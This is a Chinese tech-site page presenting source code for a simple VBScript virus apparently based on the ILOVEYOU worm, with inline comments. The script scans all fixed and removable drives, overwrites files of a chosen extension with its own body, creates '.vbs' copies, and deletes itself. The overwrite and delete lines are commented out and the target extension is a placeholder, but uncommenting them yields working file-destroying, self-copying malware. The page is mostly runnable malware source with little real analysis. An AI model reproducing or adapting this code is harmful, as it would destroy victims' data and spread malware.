主頁(yè) > 知識(shí)庫(kù) > vbs病毒的簡(jiǎn)單例子源代碼解析

vbs病毒的簡(jiǎn)單例子源代碼解析
熱門標(biāo)簽：廣州ai電銷機(jī)器人一般多少錢 外呼線路中繼線是什么 外呼系統(tǒng)免費(fèi)招代理 拉薩外呼系統(tǒng)業(yè)務(wù) 百度地圖標(biāo)注是什么意思 怎么看地圖標(biāo)注 深圳外呼系統(tǒng)收費(fèi) 合肥高德地圖標(biāo)注 外呼系統(tǒng)telrobot
說(shuō)明：作者對(duì)某些代碼進(jìn)行了修改。該文件是一個(gè)完整的程序。該文件執(zhí)行之后，會(huì)尋找硬盤上所有滿足條件的文件，對(duì)其進(jìn)行強(qiáng)制性覆蓋（滿足條件的文件數(shù)據(jù)將全部丟失）、并再創(chuàng)建一個(gè)相同文件名但后帶.vbs的文件。因此，請(qǐng)注意設(shè)立好破壞測(cè)試條件，千萬(wàn)不要對(duì)他人進(jìn)行測(cè)試，否則，一切后果自負(fù)。如果你的系統(tǒng)不支持.vbs,可以將后綴改為.vbe

dim folder,fso,foldername,f,d,dc
set fso=createobject("scripting.filesystemobject")
set self=fso.opentextfile(wscript.scriptfullname,1)
vbscopy=self.readall '讀取病毒體，以備復(fù)制到文件
self.close
set dc=fso.Drives
for each d in dc
if d.drivetype=3 or d.drivetype=2 then '檢查磁盤類型
wscript.echo d '彈出窗口，顯示找到盤符
scan(d)
end if
next 
lsfile=wscript.scriptfullname '該腳本程序路徑
set lsfile=fso.getfile(lsfile)
lsfile.delete(true) '病毒運(yùn)行后自我刪除(本人自加，愛(ài)蟲病毒本身沒(méi)有該代碼）

sub scan(folder_)
on error resume next
set folder_=fso.getfolder(folder_)
set files=folder_.files
for each file in files
ext=fso.GetExtensionName(file) '獲取文件后綴
ext=lcase(ext) '后綴名轉(zhuǎn)換成小寫字母
if ext="mp5" then '如果后綴名是mp5,當(dāng)然不存在這種文件，這里可以自己修改，但是注意。請(qǐng)自己建立相應(yīng)后綴名的文件，最好是非正常后綴名
set ap=fso.opentextfile(file.path,2,true) 
' ap.write vbscopy '覆蓋文件，慎用
ap.close
set cop=fso.getfile(file.path)
cop.copy(file.path  ".vbs") '創(chuàng)建另外一個(gè)病毒文件
' file.delete(true) '刪除原來(lái)文件
end if
next

set subfolders=folder_.subfolders
for each subfolder in subfolders '搜索其他目錄
scan(subfolder)
next 

end sub

標(biāo)簽：六安 玉林 延安 漳州 臺(tái)灣 廣安 嘉興 周口

巨人網(wǎng)絡(luò)通訊聲明：本文標(biāo)題《vbs病毒的簡(jiǎn)單例子源代碼解析》，本文關(guān)鍵詞  vbs,病毒,的,簡(jiǎn)單,例子,源代碼,；如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問(wèn)題，煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們，我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò)，涉及言論、版權(quán)與本站無(wú)關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《vbs病毒的簡(jiǎn)單例子源代碼解析》相關(guān)的同類信息！
  • 本頁(yè)收集關(guān)于vbs病毒的簡(jiǎn)單例子源代碼解析的相關(guān)信息資訊供網(wǎng)民參考！
    • 推薦文章